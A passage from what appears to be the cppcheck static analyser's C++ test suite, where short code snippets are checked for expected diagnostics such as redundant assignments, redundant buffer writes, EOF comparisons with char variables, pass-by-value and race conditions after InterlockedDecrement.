\" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" 